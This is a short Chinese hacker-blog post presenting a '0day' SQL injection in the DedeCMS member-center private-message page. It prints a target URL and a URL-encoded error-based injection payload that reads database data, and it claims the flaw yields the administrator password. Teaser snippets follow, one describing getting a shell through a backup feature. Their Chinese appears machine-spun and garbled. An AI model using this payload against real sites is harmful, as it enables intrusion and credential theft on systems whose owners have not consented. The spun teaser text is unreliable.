DedeCMS会员中心短消息SQL注射0day漏洞

hacker4年前 (2020-05-31)黑客文章1008

需要:magic_quotes_gpc = Off
DedeCMS会员中心短消息SQL注射漏洞,成功利用此漏洞可获得管理员密码:

http://www.chncto.com/de/member/pm.php?dopost=read&id=1

%27%20and%20@%60%27%60%20and%20

%28SELECT%201%20FROM%20%28select

%20count%28*%29,concat%28floor%28rand

%280%29*2%29,%28substring%28%28Select%20%28

version%28%29%29%29,1,62%29%29%29a

%20from%20information_schema.tables

%20group%20by%20a%29b%29%20and%20%27

标签: 黑客技术

返回列表

什么叫Rat Proxy？该专用工具是一种大中型的处于被动和全自动安全性审批专用工具。它对于比较敏感，精确的检验和全自动注解安全性有关的策略模式和潜在性的难题开展了提升，根据对目前客户起动的Web...

什么叫OllyDbg？这一黑客工具是一个32位系统汇编器剖析程序调试。二进制代码剖析促使该专用工具在源不能用的状况下很有效。OllyDbg具备优良的操作界面，循环系统，API启用，高級编码剖析，可...

什么叫Helix3 Pro？如同之前的专用工具一样，Helix3 Pro是为计算机取证订制的与众不同专用工具。它早已十分细心地建立，以防止以一切方法触碰服务器，而且它是法医鉴定的。好的是Helix...

介绍： tcpdump全名：dump the traffic on a network，依据使用人的界定对互联网上的数据文件开展捕获的包分析工具。 tcpdump能够将互联网中传输的数据文件的“头”...

因为我已经根据SQL引入获得了后台管理客户和登陆密码了，我也直接进入后台管理了。能够清晰的见到网站后台管理有“数据备份”作用。数据备份 getshell 基本原理：关键便是将一句...

什么叫NetworkMiner？互联网挖矿由网络信息安全手机软件经销商Netresec建立。Netresec主要从事互联网调查取证和数据流量剖析的手机软件和程序流程。显而易见，做为安全性技术专业工...

找黑客平台